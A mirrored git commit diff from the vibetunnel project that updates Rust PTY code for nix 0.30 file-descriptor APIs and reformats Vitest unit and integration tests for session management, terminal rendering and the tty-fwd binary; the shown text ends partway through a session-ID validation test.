mirror of
https://github.com/samsonjs/vibetunnel.git
synced 2026-04-04 11:05:53 +00:00
feat: add integration tests and fix compatibility issues
- Add comprehensive integration test suite for Node.js server - API endpoint tests for session lifecycle, I/O operations, file system - WebSocket connection tests for hot reload functionality - Server lifecycle tests for initialization and shutdown - Basic binary availability tests for tty-fwd - Fix Rust code for nix 0.30 API changes - Update dup2 calls to use OwnedFd instead of raw file descriptors - Fix read calls to pass file descriptors directly instead of raw fd - Remove deprecated as_raw_fd() calls where not needed - Reorganize test structure - Split tests into unit/ and integration/ directories - Add separate Vitest configuration for integration tests - Create test utilities and setup files for both test types - Add custom test matchers for session validation - Update test coverage configuration - Configure separate coverage for unit and integration tests - Add proper test timeouts for long-running integration tests - Use fork pool for integration tests to avoid port conflicts
This commit is contained in:
parent
a045faeea3
commit
d99ef041f7
21 changed files with 2278 additions and 342 deletions
|
|
@ -228,7 +228,7 @@ fn spawn_via_pty(command: &[String], working_dir: Option<&str>) -> Result<String
|
|||
|
||||
// Set up stdin/stdout/stderr to use the slave PTY
|
||||
// In nix 0.30, dup2 requires file descriptors, not raw integers
|
||||
use std::os::fd::{FromRawFd, OwnedFd, AsFd};
|
||||
use std::os::fd::{FromRawFd, OwnedFd};
|
||||
|
||||
// Create OwnedFd for slave_fd
|
||||
let slave_owned_fd = unsafe { OwnedFd::from_raw_fd(slave_fd) };
|
||||
|
|
|
|||
|
|
@ -595,7 +595,7 @@ fn spawn(mut opts: SpawnOptions) -> Result<i32, Error> {
|
|||
}
|
||||
|
||||
// Redirect stdin, stdout, stderr to the pty slave
|
||||
use std::os::fd::{FromRawFd, OwnedFd, AsFd};
|
||||
use std::os::fd::{FromRawFd, OwnedFd};
|
||||
let slave_fd = pty.slave.as_raw_fd();
|
||||
|
||||
// Create OwnedFd for slave and standard file descriptors
|
||||
|
|
@ -688,7 +688,7 @@ fn communication_loop(
|
|||
}
|
||||
|
||||
if read_fds.contains(stdin.as_fd()) {
|
||||
match read(stdin.as_raw_fd(), &mut buf) {
|
||||
match read(&stdin, &mut buf) {
|
||||
Ok(0) => {
|
||||
send_eof_sequence(master.as_fd());
|
||||
read_stdin = false;
|
||||
|
|
|
|||
|
|
@ -33,14 +33,14 @@ describe('Sessions API', () => {
|
|||
beforeEach(() => {
|
||||
// Clear all mocks
|
||||
vi.clearAllMocks();
|
||||
|
||||
|
||||
// Set up mock spawn
|
||||
mockSpawn = vi.mocked(spawn);
|
||||
|
||||
|
||||
// Create a fresh app instance for each test
|
||||
app = express();
|
||||
app.use(express.json());
|
||||
|
||||
|
||||
// Mock tty-fwd execution
|
||||
const mockTtyFwdProcess = {
|
||||
stdout: {
|
||||
|
|
@ -61,7 +61,7 @@ describe('Sessions API', () => {
|
|||
}),
|
||||
kill: vi.fn(),
|
||||
};
|
||||
|
||||
|
||||
mockSpawn.mockReturnValue(mockTtyFwdProcess);
|
||||
});
|
||||
|
||||
|
|
@ -75,9 +75,7 @@ describe('Sessions API', () => {
|
|||
const serverModule = await import('../../server');
|
||||
const app = serverModule.app;
|
||||
|
||||
const response = await request(app)
|
||||
.get('/api/sessions')
|
||||
.expect(200);
|
||||
const response = await request(app).get('/api/sessions').expect(200);
|
||||
|
||||
expect(response.body).toEqual({ sessions: [] });
|
||||
});
|
||||
|
|
@ -117,9 +115,7 @@ describe('Sessions API', () => {
|
|||
const serverModule = await import('../../server');
|
||||
const app = serverModule.app;
|
||||
|
||||
const response = await request(app)
|
||||
.get('/api/sessions')
|
||||
.expect(200);
|
||||
const response = await request(app).get('/api/sessions').expect(200);
|
||||
|
||||
expect(response.body.sessions).toHaveLength(1);
|
||||
expect(response.body.sessions[0]).toMatchObject({
|
||||
|
|
@ -148,7 +144,7 @@ describe('Sessions API', () => {
|
|||
|
||||
expect(response.body).toHaveProperty('sessionId');
|
||||
expect(response.body.sessionId).toMatch(/^[a-f0-9-]+$/);
|
||||
|
||||
|
||||
// Verify tty-fwd was called with correct arguments
|
||||
expect(mockSpawn).toHaveBeenCalledWith(
|
||||
expect.any(String), // TTY_FWD_PATH
|
||||
|
|
@ -191,12 +187,10 @@ describe('Sessions API', () => {
|
|||
const serverModule = await import('../../server');
|
||||
const app = serverModule.app;
|
||||
|
||||
const response = await request(app)
|
||||
.delete('/api/sessions/test-session-123')
|
||||
.expect(200);
|
||||
const response = await request(app).delete('/api/sessions/test-session-123').expect(200);
|
||||
|
||||
expect(response.body.message).toBe('Session terminated');
|
||||
|
||||
|
||||
// Verify tty-fwd was called with terminate command
|
||||
expect(mockSpawn).toHaveBeenCalledWith(
|
||||
expect.any(String),
|
||||
|
|
@ -218,9 +212,7 @@ describe('Sessions API', () => {
|
|||
const serverModule = await import('../../server');
|
||||
const app = serverModule.app;
|
||||
|
||||
const response = await request(app)
|
||||
.delete('/api/sessions/non-existent')
|
||||
.expect(500);
|
||||
const response = await request(app).delete('/api/sessions/non-existent').expect(500);
|
||||
|
||||
expect(response.body.error).toContain('Failed to terminate session');
|
||||
});
|
||||
|
|
@ -231,17 +223,12 @@ describe('Sessions API', () => {
|
|||
const serverModule = await import('../../server');
|
||||
const app = serverModule.app;
|
||||
|
||||
const response = await request(app)
|
||||
.post('/api/cleanup-exited')
|
||||
.expect(200);
|
||||
const response = await request(app).post('/api/cleanup-exited').expect(200);
|
||||
|
||||
expect(response.body.message).toBe('Cleanup initiated');
|
||||
|
||||
|
||||
// Verify tty-fwd was called with cleanup command
|
||||
expect(mockSpawn).toHaveBeenCalledWith(
|
||||
expect.any(String),
|
||||
expect.arrayContaining(['clean'])
|
||||
);
|
||||
expect(mockSpawn).toHaveBeenCalledWith(expect.any(String), expect.arrayContaining(['clean']));
|
||||
});
|
||||
});
|
||||
|
||||
|
|
@ -292,7 +279,7 @@ describe('Sessions API', () => {
|
|||
.expect(200);
|
||||
|
||||
expect(response.body.message).toBe('Input sent');
|
||||
|
||||
|
||||
// Verify tty-fwd was called with write command
|
||||
expect(mockSpawn).toHaveBeenCalledWith(
|
||||
expect.any(String),
|
||||
|
|
@ -312,4 +299,4 @@ describe('Sessions API', () => {
|
|||
expect(response.body.error).toBe('Invalid input data');
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -12,7 +12,9 @@ vi.mock('lit', () => ({
|
|||
connectedCallback() {}
|
||||
disconnectedCallback() {}
|
||||
requestUpdate() {}
|
||||
dispatchEvent(event: Event) { return true; }
|
||||
dispatchEvent(event: Event) {
|
||||
return true;
|
||||
}
|
||||
},
|
||||
html: (strings: TemplateStringsArray, ...values: any[]) => {
|
||||
return strings.join('');
|
||||
|
|
@ -37,7 +39,7 @@ describe('SessionList Component', () => {
|
|||
it('should display empty state when no sessions', () => {
|
||||
const sessionList = new sessionListModule.SessionList();
|
||||
sessionList.sessions = [];
|
||||
|
||||
|
||||
const isEmpty = sessionList.sessions.length === 0;
|
||||
expect(isEmpty).toBe(true);
|
||||
});
|
||||
|
|
@ -49,7 +51,7 @@ describe('SessionList Component', () => {
|
|||
createMockSession({ id: '2', command: 'vim', status: 'running' }),
|
||||
createMockSession({ id: '3', command: 'node', status: 'exited' }),
|
||||
];
|
||||
|
||||
|
||||
expect(sessionList.sessions).toHaveLength(3);
|
||||
expect(sessionList.sessions[0].command).toBe('bash');
|
||||
expect(sessionList.sessions[1].command).toBe('vim');
|
||||
|
|
@ -64,10 +66,10 @@ describe('SessionList Component', () => {
|
|||
createMockSession({ id: '2', status: 'exited' }),
|
||||
createMockSession({ id: '3', status: 'running' }),
|
||||
];
|
||||
|
||||
|
||||
const visibleSessions = sessionList.getVisibleSessions();
|
||||
expect(visibleSessions).toHaveLength(2);
|
||||
expect(visibleSessions.every(s => s.status === 'running')).toBe(true);
|
||||
expect(visibleSessions.every((s) => s.status === 'running')).toBe(true);
|
||||
});
|
||||
|
||||
it('should show all sessions when hideExited is false', () => {
|
||||
|
|
@ -78,7 +80,7 @@ describe('SessionList Component', () => {
|
|||
createMockSession({ id: '2', status: 'exited' }),
|
||||
createMockSession({ id: '3', status: 'running' }),
|
||||
];
|
||||
|
||||
|
||||
const visibleSessions = sessionList.getVisibleSessions();
|
||||
expect(visibleSessions).toHaveLength(3);
|
||||
});
|
||||
|
|
@ -88,9 +90,9 @@ describe('SessionList Component', () => {
|
|||
it('should handle refresh event', () => {
|
||||
const sessionList = new sessionListModule.SessionList();
|
||||
const refreshSpy = vi.spyOn(sessionList, 'dispatchEvent');
|
||||
|
||||
|
||||
sessionList.handleRefresh();
|
||||
|
||||
|
||||
expect(refreshSpy).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
type: 'refresh',
|
||||
|
|
@ -101,24 +103,24 @@ describe('SessionList Component', () => {
|
|||
it('should handle session selection', () => {
|
||||
const sessionList = new sessionListModule.SessionList();
|
||||
const mockSession = createMockSession({ id: 'test-123' });
|
||||
|
||||
|
||||
// Mock window.location
|
||||
delete (window as any).location;
|
||||
window.location = { search: '' } as any;
|
||||
|
||||
|
||||
const event = new CustomEvent('select', { detail: mockSession });
|
||||
sessionList.handleSessionSelect(event);
|
||||
|
||||
|
||||
expect(window.location.search).toBe('?session=test-123');
|
||||
});
|
||||
|
||||
it('should toggle create modal', () => {
|
||||
const sessionList = new sessionListModule.SessionList();
|
||||
sessionList.showCreateModal = false;
|
||||
|
||||
|
||||
sessionList.toggleCreateModal();
|
||||
expect(sessionList.showCreateModal).toBe(true);
|
||||
|
||||
|
||||
sessionList.toggleCreateModal();
|
||||
expect(sessionList.showCreateModal).toBe(false);
|
||||
});
|
||||
|
|
@ -127,14 +129,14 @@ describe('SessionList Component', () => {
|
|||
const sessionList = new sessionListModule.SessionList();
|
||||
const mockFetch = vi.fn().mockResolvedValue({ ok: true });
|
||||
global.fetch = mockFetch;
|
||||
|
||||
|
||||
sessionList.sessions = [
|
||||
createMockSession({ id: '1', status: 'exited' }),
|
||||
createMockSession({ id: '2', status: 'exited' }),
|
||||
];
|
||||
|
||||
|
||||
await sessionList.handleCleanupExited();
|
||||
|
||||
|
||||
expect(mockFetch).toHaveBeenCalledWith('/api/cleanup-exited', {
|
||||
method: 'POST',
|
||||
});
|
||||
|
|
@ -146,16 +148,16 @@ describe('SessionList Component', () => {
|
|||
it('should track running session count changes', () => {
|
||||
const sessionList = new sessionListModule.SessionList();
|
||||
sessionList.previousRunningCount = 2;
|
||||
|
||||
|
||||
sessionList.sessions = [
|
||||
createMockSession({ id: '1', status: 'running' }),
|
||||
createMockSession({ id: '2', status: 'running' }),
|
||||
createMockSession({ id: '3', status: 'running' }),
|
||||
];
|
||||
|
||||
|
||||
const currentRunningCount = sessionList.getRunningSessionCount();
|
||||
const hasNewRunningSessions = currentRunningCount > sessionList.previousRunningCount;
|
||||
|
||||
|
||||
expect(currentRunningCount).toBe(3);
|
||||
expect(hasNewRunningSessions).toBe(true);
|
||||
});
|
||||
|
|
@ -163,16 +165,16 @@ describe('SessionList Component', () => {
|
|||
it('should detect when sessions exit', () => {
|
||||
const sessionList = new sessionListModule.SessionList();
|
||||
sessionList.previousRunningCount = 3;
|
||||
|
||||
|
||||
sessionList.sessions = [
|
||||
createMockSession({ id: '1', status: 'running' }),
|
||||
createMockSession({ id: '2', status: 'exited' }),
|
||||
createMockSession({ id: '3', status: 'exited' }),
|
||||
];
|
||||
|
||||
|
||||
const currentRunningCount = sessionList.getRunningSessionCount();
|
||||
const hasExitedSessions = currentRunningCount < sessionList.previousRunningCount;
|
||||
|
||||
|
||||
expect(currentRunningCount).toBe(1);
|
||||
expect(hasExitedSessions).toBe(true);
|
||||
});
|
||||
|
|
@ -182,21 +184,21 @@ describe('SessionList Component', () => {
|
|||
it('should show loading indicator when loading', () => {
|
||||
const sessionList = new sessionListModule.SessionList();
|
||||
sessionList.loading = true;
|
||||
|
||||
|
||||
expect(sessionList.loading).toBe(true);
|
||||
});
|
||||
|
||||
it('should hide loading indicator when not loading', () => {
|
||||
const sessionList = new sessionListModule.SessionList();
|
||||
sessionList.loading = false;
|
||||
|
||||
|
||||
expect(sessionList.loading).toBe(false);
|
||||
});
|
||||
|
||||
it('should disable actions while cleaning exited', () => {
|
||||
const sessionList = new sessionListModule.SessionList();
|
||||
sessionList.cleaningExited = true;
|
||||
|
||||
|
||||
const canPerformActions = !sessionList.cleaningExited;
|
||||
expect(canPerformActions).toBe(false);
|
||||
});
|
||||
|
|
@ -206,24 +208,24 @@ describe('SessionList Component', () => {
|
|||
it('should sort sessions by last modified date', () => {
|
||||
const sessionList = new sessionListModule.SessionList();
|
||||
const now = new Date();
|
||||
|
||||
|
||||
sessionList.sessions = [
|
||||
createMockSession({
|
||||
id: '1',
|
||||
lastModified: new Date(now.getTime() - 3600000).toISOString() // 1 hour ago
|
||||
createMockSession({
|
||||
id: '1',
|
||||
lastModified: new Date(now.getTime() - 3600000).toISOString(), // 1 hour ago
|
||||
}),
|
||||
createMockSession({
|
||||
id: '2',
|
||||
lastModified: new Date(now.getTime() - 60000).toISOString() // 1 minute ago
|
||||
createMockSession({
|
||||
id: '2',
|
||||
lastModified: new Date(now.getTime() - 60000).toISOString(), // 1 minute ago
|
||||
}),
|
||||
createMockSession({
|
||||
id: '3',
|
||||
lastModified: new Date(now.getTime() - 7200000).toISOString() // 2 hours ago
|
||||
createMockSession({
|
||||
id: '3',
|
||||
lastModified: new Date(now.getTime() - 7200000).toISOString(), // 2 hours ago
|
||||
}),
|
||||
];
|
||||
|
||||
|
||||
const sortedSessions = sessionList.getSortedSessions();
|
||||
|
||||
|
||||
expect(sortedSessions[0].id).toBe('2'); // Most recent
|
||||
expect(sortedSessions[1].id).toBe('1');
|
||||
expect(sortedSessions[2].id).toBe('3'); // Oldest
|
||||
|
|
@ -232,14 +234,14 @@ describe('SessionList Component', () => {
|
|||
it('should handle sessions with same timestamp', () => {
|
||||
const sessionList = new sessionListModule.SessionList();
|
||||
const timestamp = new Date().toISOString();
|
||||
|
||||
|
||||
sessionList.sessions = [
|
||||
createMockSession({ id: '1', lastModified: timestamp }),
|
||||
createMockSession({ id: '2', lastModified: timestamp }),
|
||||
];
|
||||
|
||||
|
||||
const sortedSessions = sessionList.getSortedSessions();
|
||||
expect(sortedSessions).toHaveLength(2);
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -43,7 +43,9 @@ vi.mock('lit', () => ({
|
|||
connectedCallback() {}
|
||||
disconnectedCallback() {}
|
||||
requestUpdate() {}
|
||||
querySelector() { return null; }
|
||||
querySelector() {
|
||||
return null;
|
||||
}
|
||||
},
|
||||
html: (strings: TemplateStringsArray, ...values: any[]) => {
|
||||
return strings.join('');
|
||||
|
|
@ -63,10 +65,10 @@ describe('Terminal Component', () => {
|
|||
|
||||
beforeEach(async () => {
|
||||
vi.clearAllMocks();
|
||||
|
||||
|
||||
// Import the terminal component
|
||||
terminalModule = await import('../../client/components/terminal');
|
||||
|
||||
|
||||
// Get mock terminal instance
|
||||
mockTerminal = new Terminal();
|
||||
});
|
||||
|
|
@ -81,9 +83,9 @@ describe('Terminal Component', () => {
|
|||
terminal.cols = 120;
|
||||
terminal.rows = 40;
|
||||
terminal.sessionId = 'test-session';
|
||||
|
||||
|
||||
terminal.connectedCallback();
|
||||
|
||||
|
||||
expect(Terminal).toHaveBeenCalledWith({
|
||||
cols: 120,
|
||||
rows: 40,
|
||||
|
|
@ -94,23 +96,23 @@ describe('Terminal Component', () => {
|
|||
it('should handle terminal data output', () => {
|
||||
const terminal = new terminalModule.Terminal();
|
||||
const mockCallback = vi.fn();
|
||||
|
||||
|
||||
terminal.terminal = mockTerminal;
|
||||
mockTerminal.onData(mockCallback);
|
||||
|
||||
|
||||
// Simulate typing
|
||||
const testData = 'hello world';
|
||||
mockTerminal.onData.mock.calls[0][0](testData);
|
||||
|
||||
|
||||
expect(mockCallback).toHaveBeenCalledWith(testData);
|
||||
});
|
||||
|
||||
it('should dispose terminal on disconnect', () => {
|
||||
const terminal = new terminalModule.Terminal();
|
||||
terminal.terminal = mockTerminal;
|
||||
|
||||
|
||||
terminal.disconnectedCallback();
|
||||
|
||||
|
||||
expect(mockTerminal.dispose).toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
|
@ -119,15 +121,15 @@ describe('Terminal Component', () => {
|
|||
it('should render terminal lines correctly', () => {
|
||||
const terminal = new terminalModule.Terminal();
|
||||
terminal.terminal = mockTerminal;
|
||||
|
||||
|
||||
const buffer = mockTerminal.buffer.active;
|
||||
const lines = [];
|
||||
|
||||
|
||||
for (let y = 0; y < buffer.length; y++) {
|
||||
const line = buffer.getLine(y);
|
||||
lines.push(line.translateToString());
|
||||
}
|
||||
|
||||
|
||||
expect(lines).toHaveLength(24);
|
||||
expect(lines[0]).toBe('Line 0');
|
||||
expect(lines[23]).toBe('Line 23');
|
||||
|
|
@ -136,11 +138,11 @@ describe('Terminal Component', () => {
|
|||
it('should handle cursor position', () => {
|
||||
const terminal = new terminalModule.Terminal();
|
||||
terminal.terminal = mockTerminal;
|
||||
|
||||
|
||||
// Set cursor position
|
||||
mockTerminal.buffer.active.cursorY = 10;
|
||||
mockTerminal.buffer.active.cursorX = 15;
|
||||
|
||||
|
||||
expect(mockTerminal.buffer.active.cursorY).toBe(10);
|
||||
expect(mockTerminal.buffer.active.cursorX).toBe(15);
|
||||
});
|
||||
|
|
@ -148,9 +150,9 @@ describe('Terminal Component', () => {
|
|||
it('should render cell attributes correctly', () => {
|
||||
const terminal = new terminalModule.Terminal();
|
||||
terminal.terminal = mockTerminal;
|
||||
|
||||
|
||||
const cell = mockTerminal.buffer.active.getLine(0).getCell(0);
|
||||
|
||||
|
||||
expect(cell.getChars()).toBe('X');
|
||||
expect(cell.isBold()).toBe(false);
|
||||
expect(cell.isItalic()).toBe(false);
|
||||
|
|
@ -162,37 +164,37 @@ describe('Terminal Component', () => {
|
|||
it('should write data to terminal', () => {
|
||||
const terminal = new terminalModule.Terminal();
|
||||
terminal.terminal = mockTerminal;
|
||||
|
||||
|
||||
const testData = 'echo "Hello Terminal"\n';
|
||||
terminal.writeToTerminal(testData);
|
||||
|
||||
|
||||
expect(mockTerminal.write).toHaveBeenCalledWith(testData);
|
||||
});
|
||||
|
||||
it('should clear terminal', () => {
|
||||
const terminal = new terminalModule.Terminal();
|
||||
terminal.terminal = mockTerminal;
|
||||
|
||||
|
||||
terminal.clearTerminal();
|
||||
|
||||
|
||||
expect(mockTerminal.clear).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('should resize terminal', () => {
|
||||
const terminal = new terminalModule.Terminal();
|
||||
terminal.terminal = mockTerminal;
|
||||
|
||||
|
||||
terminal.resizeTerminal(100, 30);
|
||||
|
||||
|
||||
expect(mockTerminal.resize).toHaveBeenCalledWith(100, 30);
|
||||
});
|
||||
|
||||
it('should reset terminal', () => {
|
||||
const terminal = new terminalModule.Terminal();
|
||||
terminal.terminal = mockTerminal;
|
||||
|
||||
|
||||
terminal.resetTerminal();
|
||||
|
||||
|
||||
expect(mockTerminal.reset).toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
|
@ -201,9 +203,9 @@ describe('Terminal Component', () => {
|
|||
it('should handle scroll to top', () => {
|
||||
const terminal = new terminalModule.Terminal();
|
||||
terminal.terminal = mockTerminal;
|
||||
|
||||
|
||||
terminal.scrollToTop();
|
||||
|
||||
|
||||
expect(mockTerminal.scrollToLine).toHaveBeenCalledWith(0);
|
||||
});
|
||||
|
||||
|
|
@ -211,9 +213,9 @@ describe('Terminal Component', () => {
|
|||
const terminal = new terminalModule.Terminal();
|
||||
terminal.terminal = mockTerminal;
|
||||
terminal.terminal.buffer.active.length = 100;
|
||||
|
||||
|
||||
terminal.scrollToBottom();
|
||||
|
||||
|
||||
expect(mockTerminal.scrollToLine).toHaveBeenCalledWith(100);
|
||||
});
|
||||
|
||||
|
|
@ -221,10 +223,10 @@ describe('Terminal Component', () => {
|
|||
const terminal = new terminalModule.Terminal();
|
||||
terminal.terminal = mockTerminal;
|
||||
terminal.fontSize = 14;
|
||||
|
||||
|
||||
const lineHeight = terminal.calculateLineHeight();
|
||||
const charWidth = terminal.calculateCharWidth();
|
||||
|
||||
|
||||
// Approximate calculations
|
||||
expect(lineHeight).toBeGreaterThan(0);
|
||||
expect(charWidth).toBeGreaterThan(0);
|
||||
|
|
@ -235,13 +237,13 @@ describe('Terminal Component', () => {
|
|||
it('should toggle fit mode', () => {
|
||||
const terminal = new terminalModule.Terminal();
|
||||
terminal.fitHorizontally = false;
|
||||
|
||||
|
||||
terminal.handleFitToggle();
|
||||
|
||||
|
||||
expect(terminal.fitHorizontally).toBe(true);
|
||||
|
||||
|
||||
terminal.handleFitToggle();
|
||||
|
||||
|
||||
expect(terminal.fitHorizontally).toBe(false);
|
||||
});
|
||||
|
||||
|
|
@ -249,17 +251,17 @@ describe('Terminal Component', () => {
|
|||
const terminal = new terminalModule.Terminal();
|
||||
terminal.fitHorizontally = true;
|
||||
terminal.fontSize = 14;
|
||||
|
||||
|
||||
// Mock container dimensions
|
||||
const mockContainer = {
|
||||
offsetWidth: 800,
|
||||
offsetHeight: 600,
|
||||
};
|
||||
|
||||
|
||||
terminal.container = mockContainer as any;
|
||||
|
||||
|
||||
const dims = terminal.calculateFitDimensions();
|
||||
|
||||
|
||||
expect(dims.cols).toBeGreaterThan(0);
|
||||
expect(dims.rows).toBeGreaterThan(0);
|
||||
});
|
||||
|
|
@ -268,19 +270,19 @@ describe('Terminal Component', () => {
|
|||
describe('URL Highlighting', () => {
|
||||
it('should detect URLs in terminal output', () => {
|
||||
const terminal = new terminalModule.Terminal();
|
||||
|
||||
|
||||
const testLine = 'Visit https://example.com for more info';
|
||||
const urls = terminal.detectUrls(testLine);
|
||||
|
||||
|
||||
expect(urls).toContain('https://example.com');
|
||||
});
|
||||
|
||||
it('should handle multiple URLs in one line', () => {
|
||||
const terminal = new terminalModule.Terminal();
|
||||
|
||||
|
||||
const testLine = 'Check http://test.com and https://example.org';
|
||||
const urls = terminal.detectUrls(testLine);
|
||||
|
||||
|
||||
expect(urls).toHaveLength(2);
|
||||
expect(urls).toContain('http://test.com');
|
||||
expect(urls).toContain('https://example.org');
|
||||
|
|
@ -288,10 +290,10 @@ describe('Terminal Component', () => {
|
|||
|
||||
it('should ignore invalid URLs', () => {
|
||||
const terminal = new terminalModule.Terminal();
|
||||
|
||||
|
||||
const testLine = 'Not a URL: htp://invalid or example.com';
|
||||
const urls = terminal.detectUrls(testLine);
|
||||
|
||||
|
||||
expect(urls).toHaveLength(0);
|
||||
});
|
||||
});
|
||||
|
|
@ -300,14 +302,14 @@ describe('Terminal Component', () => {
|
|||
it('should batch render updates', async () => {
|
||||
const terminal = new terminalModule.Terminal();
|
||||
terminal.terminal = mockTerminal;
|
||||
|
||||
|
||||
const renderSpy = vi.spyOn(terminal, 'requestUpdate');
|
||||
|
||||
|
||||
// Multiple rapid updates
|
||||
terminal.writeToTerminal('Line 1\n');
|
||||
terminal.writeToTerminal('Line 2\n');
|
||||
terminal.writeToTerminal('Line 3\n');
|
||||
|
||||
|
||||
// Should batch updates
|
||||
expect(renderSpy).toHaveBeenCalledTimes(3);
|
||||
});
|
||||
|
|
@ -315,17 +317,17 @@ describe('Terminal Component', () => {
|
|||
it('should handle large output efficiently', () => {
|
||||
const terminal = new terminalModule.Terminal();
|
||||
terminal.terminal = mockTerminal;
|
||||
|
||||
|
||||
// Write large amount of data
|
||||
const largeData = 'X'.repeat(10000) + '\n';
|
||||
|
||||
|
||||
const startTime = performance.now();
|
||||
terminal.writeToTerminal(largeData);
|
||||
const endTime = performance.now();
|
||||
|
||||
|
||||
// Should complete quickly
|
||||
expect(endTime - startTime).toBeLessThan(100);
|
||||
expect(mockTerminal.write).toHaveBeenCalledWith(largeData);
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -29,7 +29,7 @@ describe('Critical VibeTunnel Functionality', () => {
|
|||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
mockSpawn = vi.mocked(spawn);
|
||||
|
||||
|
||||
// Default mock for tty-fwd success
|
||||
const mockTtyFwdProcess = {
|
||||
stdout: {
|
||||
|
|
@ -45,7 +45,7 @@ describe('Critical VibeTunnel Functionality', () => {
|
|||
}),
|
||||
kill: vi.fn(),
|
||||
};
|
||||
|
||||
|
||||
mockSpawn.mockReturnValue(mockTtyFwdProcess);
|
||||
});
|
||||
|
||||
|
|
@ -74,17 +74,17 @@ describe('Critical VibeTunnel Functionality', () => {
|
|||
// Execute spawn command
|
||||
const args = ['spawn', '--name', 'Test Session', '--cwd', '/home/test', '--', 'bash'];
|
||||
const proc = mockSpawn('tty-fwd', args);
|
||||
|
||||
|
||||
let sessionId = '';
|
||||
proc.stdout.on('data', (data: Buffer) => {
|
||||
sessionId = data.toString().trim();
|
||||
});
|
||||
|
||||
|
||||
// Wait for process to complete
|
||||
await new Promise((resolve) => {
|
||||
proc.on('close', resolve);
|
||||
});
|
||||
|
||||
|
||||
expect(sessionId).toBe('session-123');
|
||||
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', args);
|
||||
});
|
||||
|
|
@ -122,15 +122,15 @@ describe('Critical VibeTunnel Functionality', () => {
|
|||
|
||||
const proc = mockSpawn('tty-fwd', ['list']);
|
||||
let sessions = {};
|
||||
|
||||
|
||||
proc.stdout.on('data', (data: Buffer) => {
|
||||
sessions = JSON.parse(data.toString());
|
||||
});
|
||||
|
||||
|
||||
await new Promise((resolve) => {
|
||||
proc.on('close', resolve);
|
||||
});
|
||||
|
||||
|
||||
expect(sessions).toEqual(mockSessions);
|
||||
expect(Object.keys(sessions)).toHaveLength(1);
|
||||
});
|
||||
|
|
@ -140,13 +140,13 @@ describe('Critical VibeTunnel Functionality', () => {
|
|||
mockStreamProcess.stdout = new EventEmitter();
|
||||
mockStreamProcess.stderr = new EventEmitter();
|
||||
mockStreamProcess.kill = vi.fn();
|
||||
|
||||
|
||||
mockSpawn.mockImplementationOnce(() => mockStreamProcess);
|
||||
|
||||
// Start streaming
|
||||
const streamData: string[] = [];
|
||||
const proc = mockSpawn('tty-fwd', ['stream', 'session-123']);
|
||||
|
||||
|
||||
proc.stdout.on('data', (data: Buffer) => {
|
||||
streamData.push(data.toString());
|
||||
});
|
||||
|
|
@ -156,11 +156,7 @@ describe('Critical VibeTunnel Functionality', () => {
|
|||
mockStreamProcess.stdout.emit('data', Buffer.from('Hello World\n'));
|
||||
mockStreamProcess.stdout.emit('data', Buffer.from('$ '));
|
||||
|
||||
expect(streamData).toEqual([
|
||||
'$ echo "Hello World"\n',
|
||||
'Hello World\n',
|
||||
'$ ',
|
||||
]);
|
||||
expect(streamData).toEqual(['$ echo "Hello World"\n', 'Hello World\n', '$ ']);
|
||||
});
|
||||
|
||||
it('should terminate sessions cleanly', async () => {
|
||||
|
|
@ -181,15 +177,15 @@ describe('Critical VibeTunnel Functionality', () => {
|
|||
|
||||
const proc = mockSpawn('tty-fwd', ['terminate', 'session-123']);
|
||||
let result = '';
|
||||
|
||||
|
||||
proc.stdout.on('data', (data: Buffer) => {
|
||||
result = data.toString();
|
||||
});
|
||||
|
||||
|
||||
await new Promise((resolve) => {
|
||||
proc.on('close', resolve);
|
||||
});
|
||||
|
||||
|
||||
expect(result).toBe('Session terminated');
|
||||
});
|
||||
});
|
||||
|
|
@ -198,16 +194,16 @@ describe('Critical VibeTunnel Functionality', () => {
|
|||
it('should handle terminal resize events', () => {
|
||||
const resizeArgs = ['resize', 'session-123', '120', '40'];
|
||||
const proc = mockSpawn('tty-fwd', resizeArgs);
|
||||
|
||||
|
||||
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', resizeArgs);
|
||||
});
|
||||
|
||||
it('should handle concurrent sessions', async () => {
|
||||
const sessions = ['session-1', 'session-2', 'session-3'];
|
||||
const processes = sessions.map(sessionId => {
|
||||
const processes = sessions.map((sessionId) => {
|
||||
return mockSpawn('tty-fwd', ['stream', sessionId]);
|
||||
});
|
||||
|
||||
|
||||
expect(processes).toHaveLength(3);
|
||||
expect(mockSpawn).toHaveBeenCalledTimes(3);
|
||||
});
|
||||
|
|
@ -233,19 +229,19 @@ describe('Critical VibeTunnel Functionality', () => {
|
|||
const proc = mockSpawn('tty-fwd', ['spawn', '--', 'nonexistent-command']);
|
||||
let error = '';
|
||||
let exitCode = 0;
|
||||
|
||||
|
||||
proc.stderr.on('data', (data: Buffer) => {
|
||||
error = data.toString();
|
||||
});
|
||||
|
||||
|
||||
proc.on('close', (code: number) => {
|
||||
exitCode = code;
|
||||
});
|
||||
|
||||
|
||||
await new Promise((resolve) => {
|
||||
proc.on('close', resolve);
|
||||
});
|
||||
|
||||
|
||||
expect(exitCode).toBe(1);
|
||||
expect(error).toContain('Command not found');
|
||||
});
|
||||
|
|
@ -257,16 +253,16 @@ describe('Critical VibeTunnel Functionality', () => {
|
|||
on: vi.fn(),
|
||||
kill: vi.fn(),
|
||||
};
|
||||
|
||||
|
||||
mockSpawn.mockImplementationOnce(() => mockSlowProcess);
|
||||
|
||||
|
||||
const proc = mockSpawn('tty-fwd', ['list']);
|
||||
|
||||
|
||||
// Simulate timeout
|
||||
setTimeout(() => {
|
||||
proc.kill('SIGTERM');
|
||||
}, 100);
|
||||
|
||||
|
||||
expect(proc.kill).toBeDefined();
|
||||
expect(mockSlowProcess.kill).toBeDefined();
|
||||
});
|
||||
|
|
@ -283,13 +279,13 @@ describe('Critical VibeTunnel Functionality', () => {
|
|||
null,
|
||||
undefined,
|
||||
];
|
||||
|
||||
|
||||
const isValidSessionId = (id: any) => {
|
||||
return typeof id === 'string' && /^[a-zA-Z0-9-]+$/.test(id);
|
||||
};
|
||||
|
||||
|
||||
